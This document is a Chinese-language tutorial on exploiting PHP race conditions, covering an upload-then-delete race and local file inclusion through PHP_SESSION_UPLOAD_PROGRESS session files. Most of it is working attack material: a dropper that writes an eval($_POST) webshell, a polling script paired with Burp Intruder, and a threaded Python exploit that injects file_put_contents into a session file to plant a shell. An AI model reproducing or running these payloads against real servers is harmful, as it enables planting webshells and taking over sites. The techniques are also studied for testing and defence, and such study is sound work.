測試demo:
<html> <body> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file"/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <?php if (!empty($_FILES)) { move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']); unlink($_FILES['file']['name']); } ?>
shell文件內容:
<?PHP echo md5(1); fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>'); ?>
一直訪問上傳文件的py腳本:
# coding:utf-8 import requests def main(): i=0 while 1: try: print(i,end='\r') a = requests.get("http://aaa.io/sssss.php") if "c4ca4238a0b923820dcc509a6f75849b" in a.text: print("OK") break except Exception as e: pass i+=1 if __name__ == '__main__': main()
其中的c4ca4238a0b923820dcc509a6f75849b = md5(1)
burp設置:->發送到Intrudermo模塊->
然后同時運行我們的py腳本,和開啟burp爆破,順序無所謂,差不多挨着時間開啟即可。
另一個和session文件進行競爭
demo:
<?php if (isset($_GET['file'])) { include './' . $_GET['file']; }
這種情況在我們沒辦法上傳文件的時候,怎么利用呢?那就是包含session文件。
我們知道控制session開啟的函數session_start(),當沒有使用函數的時候怎么辦呢?
session下存在upload_progress屬性,用來記錄文件上傳進度,並且默認是開啟狀態。
也就是當我們的POST數據包中存在PHP_SESSION_UPLOAD_PROGRESS字段的時候,無需調用session_start()函數,也可初始化session。但是默認會在結尾進行清除,所以我們需要利用條件競爭。
證明的demo:1.php
<html> <body> <form action="" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/> <input type="file" name="file"/> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> <?php ?>
注意:<input type="text" name="PHP_SESSION_UPLOAD_PROGRESS" value="888"/>一定要在<input type="file" name="file"/>前面,不然沒辦法控制生成的session文件名。
漏洞利用腳本:
import io import requests import threading sessid = 'ph1' def t1(session): while True: f = io.BytesIO(b'a' * 1024 * 50) response = session.post( 'http://localhost/2.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=file_put_contents("shell123.php","<?=phpinfo();?>")?>'}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid} ) def t2(session): while True: response = session.get(f'http://localhost/2.php?file=../Extensions/tmp/tmp/sess_{sessid}') print(response.text) with requests.session() as session: t1 = threading.Thread(target=t1, args=(session, )) t1.daemon = True t1.start() t2(session)
修改對應的訪問路徑,和 session文件路徑,即可。成功后生成shell123.php文件。